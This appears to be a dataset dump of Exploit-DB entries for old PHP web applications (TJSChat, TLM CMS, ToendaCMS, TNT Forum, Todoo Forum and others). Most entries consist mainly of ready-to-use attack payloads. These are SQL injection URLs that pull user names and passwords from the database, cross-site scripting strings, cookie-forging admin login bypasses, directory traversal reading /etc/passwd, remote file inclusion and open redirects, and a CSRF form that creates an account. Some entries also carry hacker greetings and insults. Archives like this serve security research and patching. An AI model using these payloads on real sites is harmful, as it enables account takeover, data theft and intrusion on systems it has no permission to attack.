deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29876
Description: TJSChat 0.95 - 'You.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-23
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/23593/info

TJSChat is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects TJSChat 0.95; other versions may also be affected.

http://www.example.com/you.php?user=[xss]
Exploit-DB #25299
Description: Tkai's Shoutbox - 'Query' Open Redirection
Type: webapps
Platform: php
Date: 2005-03-28
Author: CorryL

Exploit:
source: https://www.securityfocus.com/bid/12914/info

Tkai's Shoutbox is reported prone to a remote URI redirection vulnerability.

It is reported that an attacker can exploit this issue by supplying the URI of a malicious site through the 'query' parameter of a link.

A successful attack may result in various attacks including theft of cookie based authentication credentials.

/shoutact.php?yousay=default&query=http://www.example.com

/shoutact.php?yousay=default&name=default&query=http://www.example.com

/shoutact.php?yousay=default&email=default&query=http://www.example.com

/shoutact.php?yousay=default&email=default&name=default&query=www.example.com
Exploit-DB #6848
Description: TlAds 1.0 - Remote Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-27
Author: x0r

Exploit:
##############################
# TlAds v 1 => Insecure Cookie Handling
#
# Found By : x0r - Evolution Team
#
# Download: http://www.easy-script.com/scripts-dl/tlads-1.zip
###############################

Exploit:

javascript:document.cookie = "tlAds_login=admin; path=/"

Stupid Admin ! P0wned :P

Grazie Al Mio Amore...Ti Amo Da Morire Margherita :P


#Proud To Be Italian 

# milw0rm.com [2008-10-27]
Exploit-DB #6860
Description: TlGuestBook 1.2 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-28
Author: x0r

Exploit:
-========================================-
Autore: x0r
Email: evolutionteam.x0 [at] gmail.com
Cms: TlGuestBook v 1.2
Bug: Insecure Cookie Handling Vulnerability
Cms Download: http://www.easy-script.com/scripts-dl/tlguestb-12.zip
-========================================-

Exploit:

javascript:document.cookie = "tlGuestBook_login=admin; path=/"

Greetz to: Alla mia Bimb4...Margherita ti amo...E Anche A Quel Frocio Di
Andrea ( HaveStyle), str0ke :P

^^'' p0wn3d Beby.

-=EOF=-

# milw0rm.com [2008-10-28]
Exploit-DB #3118
Description: TLM CMS 1.1 - 'i-accueil.php?chemin' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-12
Author: GoLd_M

Exploit:
/###################################################################\
# Citations Aléatoires v1.1                                         #
# =========================================================         #
# Published : 2007-01-12                                            #
# Remote: Yes                                                       #
# Site:  ftp://ftp1.comscripts.com/PHP/1809_citation-11.zip         #
#####################################################################
# Author: GolD_M = Mahmood_ali                                      #
# Contact: HackEr_@W.Cn                                             #
# =====================================================             #
# ThanX =All My Friends& ABDULLAH00& AsbMay& ToOoFa& KaBaRa& str0ke #
# SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team                   #
\###################################################################/
# /i-accueil.php                                                    #
# Line:                                                             #
# /13                                                               #
# Vulnerable Code:                                                  #
# include("$chemin/mod_news/index.php");                            #
# 3XP|0!T :                                                         #
# /i-accueil.php?chemin=EV!L.C0D3.TxT                               #
#        /#######################################\                  #
#        #         Tryag.Com & Dwrat.Com         #                  #
#        \#######################################/                  #
\###################################################################/

# milw0rm.com [2007-01-12]
Exploit-DB #31739
Description: TLM CMS 1.1 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-05-05
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29049/info

TLM CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

TLM CMS 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/tlmcms_v1-1/tlmcms/index.php?affiche=Photo-Photo&ID=1'/**/union/**/select/**/0,1,concat(US_pwd),concat(US_pseudo),concat(US_mail)/**/from/**/pphp_user/*
http://www.example.com/tlmcms_v1-1/tlmcms/index.php?affiche=Comment&act=lire&idnews=-99999999/**/union/**/select/**/0,1,concat(US_mail),concat(US_pseudo),concat(US_pwd),5,6,7,8,9,10/**/from/**/pphp_user/*
Exploit-DB #31668
Description: TLM CMS 3.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-04-18
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28837/info

TLM CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

TLM CMS 3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/timcms31/a-b-membres.php?action=Perso&nom=1'/**/union/**/select/**/0,1,2,3,4,5,6,US_uid,8,9,US_mail,11,12,13,14,15,US_pseudo,US_pwd,18,19,20,21,22,23/**/from/**/pphp_user/*
http://www.example.com/tmcms31/goodies.php?act=lire&idnews=-1/**/union/**/select/**/0,1,2,US_pwd,US_pseudo,5,6,7,US_mail,9,10/**/from/**/pphp_user/*
Exploit-DB #4376
Description: TLM CMS 3.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-09-08
Author: k1tk4t

Exploit:
########################################################################
# TLM CMS v3.2 - Multiple Remote SQL Injection Vulnerabilities
# Vendor           : http://tlm.hebserv.fr/
# Download         : http://tlm.hebserv.fr/mod_file/upload/tlmcms32.zip
# Ditemukan oleh   : k1tk4t - k1tk4t[4t]newhack.org
# Lokasi           : Indonesia  --  #newhack[dot]org @ irc.dal.net
########################################################################
Kutu pada berkas 'news.php';
http://localhost/tlmcms32/news.php?act=lirenews&id=-9%20UNION%20SELECT%200,US_pseudo,US_pwd,0,0,0,0,0,0,0%20from%20pphp_user/*

Kutu pada berkas 'goodies.php';
http://localhost/tlmcms32/goodies.php?act=lire&idnews=-9%20UNION%20SELECT%200,0,0,US_pseudo,US_pwd,0,0,0,0,0,0%20from%20pphp_user/*

<-------------------------->
Jika magic_quotes_gpc = off, maka pada berkas2 berikut dapat memanipulasi
SQL query;

Kutu pada berkas 'file.php';
http://localhost/tlmcms32/file.php?action=voir&id=-9'UNION%20SELECT%200,0,0,US_pseudo,0,US_pwd,0,0,0,0%20from%20pphp_user/*

Kutu pada berkas 'affichage.php';
http://localhost/tlmcms32/affichage.php?ID=-9'UNION%20SELECT%200,0,0,US_pseudo,US_pwd%20from%20pphp_user/*

Kutu pada berkas '/mod_forum/afficher.php';
http://localhost/tlmcms32/mod_forum/afficher.php?id_sal=-9'%20UNION%20SELECT%20US_pseudo,US_pwd,0%20from%20pphp_user/*

Kutu pada berkas '/mod_forum/messages.php';
http://localhost/tlmcms32/mod_forum/messages.php?id_sujet=-9'UNION%20SELECT%20US_pseudo,0%20from%20pphp_user/*

########################################################################
Terimakasih untuk;
str0ke, DNX
xoron,iFX,x-ace,nyubi,arioo,selikoer,k1ngk0ng,aldy_BT,adhietslank
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member www.echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia
Cintailah Bahasa Indonesia

# milw0rm.com [2007-09-08]
Exploit-DB #6836
Description: Tlnews 2.2 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-25
Author: x0r

Exploit:
Tlnews 2.2 Admin Login Bypass (via Cookie)
Found by X0r - EvolutionTeaM
Email: evolutionteam.x0[at]gmail[dot]com

Cms Download: http://www.easy-script.com/scripts-dl/tlnews-22.zip

Exploit: javascript:document.cookie = "tlNews_login=admin; content=admin;
path=/"

Beby y0ur system g0t d0wn :P 

// X0r - EvolutionTeaM

# milw0rm.com [2008-10-25]
Exploit-DB #26839
Description: TML 0.5 - 'index.php?form' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-15
Author: X1ngBox

Exploit:
source: https://www.securityfocus.com/bid/15876/info

TML CMS is prone to multiple input validation vulnerabilities.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

TML CMS 0.5 is reportedly affected. Other versions may be vulnerable as well. 


http://www.example.com/[ztml]/index.php?type=tpl&form=<h1> x1ng <h1/>
Exploit-DB #26840
Description: TML 0.5 - 'index.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-15
Author: X1ngBox

Exploit:
source: https://www.securityfocus.com/bid/15876/info
 
TML CMS is prone to multiple input validation vulnerabilities.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.
 
TML CMS 0.5 is reportedly affected. Other versions may be vulnerable as well. 

http://www.example.com/[ztml]/index.php?doc=unote&id=[sql]
Exploit-DB #5782
Description: TNT Forum 0.9.4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-06-10
Author: CWH Underground

Exploit:
======================================================
 TNT Forum 0.9.4 Local File Inclusion Vulnerabilities
======================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE : 10 June 2008
SITE : www.citec.us


#####################################################
 APPLICATION : TNT Forum
 VERSION     : 0.9.4
 DOWNLOAD    : download.tntforum.tuttoeniente.net
#####################################################

---LFI---

#################################################################
Vulnerable in index.php:

   137:	//Variabili generali
   138:	$modulo = @$_GET['modulo'];
   139:	$modfile = 'mod_'.$modulo.'.php';
#################################################################

Exploit:

[+] For Windows
http://[Target]/[tntforum_path]/index.php?modulo=../../../../../../../../boot.ini%00

[+] For Linux
http://localhost/tntforum/index.php?modulo=../../../../../../../../etc/passwd%00


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-10]
Exploit-DB #39176
Description: TOA - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-05-08
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/67291/info

TOA is prone to a cross-site request-forgery vulnerability because it does not properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

TOA 2.5.6 is vulnerable; other versions may also be affected.

<form action="http://www.example.com/tao/Users/add" method="post" name="main">
<input type="hidden" name="user_form_sent" value="1">
<input type="hidden" name="tao.forms.instance" value="1">
<input type="hidden" name="http_2_www_0_w3_0_org_1_2000_1_01_1_rdf-schema_3_label" value="User+5">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userFirstName" value="First Name">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userLastName" value="Last Name">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userMail" value="user@mail.com">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_login" value="immuniweb">
<input type="hidden" name="password1" value="immuniweb1">
<input type="hidden" name="password2" value="immuniweb1">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userDefLg" value="http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langen-US">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userUILg" value="http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langen-US">
<input type="hidden" name="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userRoles_0" value="http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_GenerisRole">
<input type="hidden" name="" value="">
<input type="submit" id="btn">
</form>
Exploit-DB #12694
Description: Tochin eCommerce - Multiple Remote s
Type: webapps
Platform: php
Date: 2010-05-22
Author: cyberlog

Exploit:
===============================================
Tochin Ecommerce Multiple Remote Vulnerability
===============================================


               __                  __               
 .----..--.--.|  |--..-----..----.|  |.-----..-----.
 |  __||  |  ||  _  ||  -__||   _||  ||  _  ||  _  |
 |____||___  ||_____||_____||__|  |__||_____||___  |
       |_____|                               |_____|

####################################################
# Tochin Ecommerce Multiple Remote Vulnerability
####################################################
# Vendor: http://www.tochin.net/
# Discovered by : cyberlog
# Site          : Sekuritionline.net
# Channel       : #SekuritiOnline [ Now Just My Bot ] :P
# Dork          : "Not me give to lamers"
# Exploit       : 
                  [site]/product.php?product_id=[SQL Injection]
                  [site]/product.php?product_id=[Cross Site Scripting]

# Thanks        : r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,
                  jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL,
                  SarifJedul,wiro gendeng,Letjen,ridho_bugs,Ryan Kabrutz,Mathews, aurel666

# special to Mama Sri Rahayu, Member& Staff Sekuritonline, C0li a.k.a antisecurity [ pinjem script perl-na ] :), 
# Inj3ct0r Now Brothers with Sekuritionline
                
####################################################
# Demo: 
# http://localhost/product.php?product_id=[SQL Injection]
# http://localhost/product.php?product_id=[Cross Site Scripting]
       
####################################################

We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
!!!!! anjing juga buat admin site indon3sia yang merasa sok h3bat, dikasih tahu ada hole malah nyolot !!!!!

KacrUt I h@te U :P [ jika kau tidak mau aku katakan LOv3 ]
Give me NOCAN Brothers :P
am nt hacker just Lik3 Syst3m S3curity



                __                  __  __    __                __  __               
 .-----..-----.|  |--..--.--..----.|__||  |_ |__|.-----..-----.|  ||__|.-----..-----.
 |__ --||  -__||    < |  |  ||   _||  ||   _||  ||  _  ||     ||  ||  ||     ||  -__|
 |_____||_____||__|__||_____||__|  |__||____||__||_____||__|__||__||__||__|__||_____|
Exploit-DB #38476
Description: Todoo Forum 2.0 - 'todooforum.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-04-14
Author: Chiekh Bouchenafa

Exploit:
source: https://www.securityfocus.com/bid/59069/info

Todoo Forum is prone to multiple SQL-injection and cross-site scripting vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Todoo Forum 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/todooforum/todooforum.php?cat=reponse&id_forum=0&id_post='"--></style></script><script>alert(0x0000)</script>&pg=1
http://www.example.com/todooforum/todooforum.php?cat=reponse&id_forum=0&id_post=2&pg='"--></style></script><script>alert(0x0000)</script>
Exploit-DB #38477
Description: Todoo Forum 2.0 - 'todooforum.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-04-14
Author: Chiekh Bouchenafa

Exploit:
source: https://www.securityfocus.com/bid/59069/info
 
Todoo Forum is prone to multiple SQL-injection and cross-site scripting vulnerabilities.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Todoo Forum 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/todooforum/todooforum.php?cat=reponse&id_forum=0&id_post=[Inject_here]&pg=1
http://www.example.com/todooforum/todooforum.php?cat=reponse&id_forum=0&id_post=1&pg=[Inject_Here]
Exploit-DB #35649
Description: todoyu 2.0.8 - 'lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-22
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47540/info

todoyu is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

todoyu 2.0.8 is vulnerable; other versions may also be affected. 

http://www.example.com/todoyu/lib/js/jscalendar/php/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert%280%29%3C/script%3E
Exploit-DB #26480
Description: ToendaCMS 0.6.1 - 'admin.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-11-07
Author: Bernhard Mueller

Exploit:
source: https://www.securityfocus.com/bid/15348/info

toendaCMS is reported prone to a directory traversal vulnerability. It is demonstrated that this issue may be leveraged to disclose the contents of arbitrary web-server readable files.

A remote attacker may exploit this vulnerability to reveal files that contain potentially sensitive information.

Version 2.1 is vulnerable; earlier versions may also be vulnerable. 

http://www.example.com/engine/admin/admin.php?id_user=
../../../../../../etc/passwd
Exploit-DB #27924
Description: ToendaCMS 0.7 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-31
Author: Jokubas

Exploit:
source: https://www.securityfocus.com/bid/18178/info

ToendaCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/?id=[XSS]
Exploit-DB #28417
Description: ToendaCMS 0.x/1.0.x - 'TCMS_Administer' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-21
Author: You_You

Exploit:
source: https://www.securityfocus.com/bid/19626/info

ToendaCMS is prone a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects ToendaCMS 1.0.3 and prior; other versions may also be affected.

Update: This BID is retired due to further analysis showing that this is not a vulnerability.

http://www.example.com/path/tcms_administer_site=SHELL
Exploit-DB #28471
Description: ToendaCMS 0.x/1.0.x - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-01
Author: h4ck3riran

Exploit:
source: https://www.securityfocus.com/bid/19806/info

ToendaCMS is prone a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects ToendaCMS 1.0.3 and prior; other versions may also be affected.

http://www.example.com/[path]/setup/inc/database.php?tcms_administer_site=Sh3ll
Exploit-DB #28661
Description: ToendaCMS 1.0.4 - 'Media.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-09-24
Author: MoHaJaLi

Exploit:
source: https://www.securityfocus.com/bid/20170/info

toendaCMS is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.

Version 1.0.4 is vulnerable; other versions may also be affected.

http://www.example.com/media.php?album=1005bb&key=../../../../../../../../../../../../../etc/passwd

http://www.example.com/media.php?album=../../../../../../../../../../../../..&key=/etc/passwd
Exploit-DB #29849
Description: ToendaCMS 1.5.3 - GET / POST Forms HTML Injection
Type: webapps
Platform: php
Date: 2007-04-12
Author: Hanno Boeck

Exploit:
source: https://www.securityfocus.com/bid/23453/info

ToendaCMS is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

This issue affects ToendaCMS 1.5.3; other versions may also be affected. 

<form action="http://toendainstallation/" method="post">
 <input type="hidden" name="searchword" value='"><script>alert(1)</script>'>
 <input type="hidden" name="id" value="search">
 <input type="submit"></form>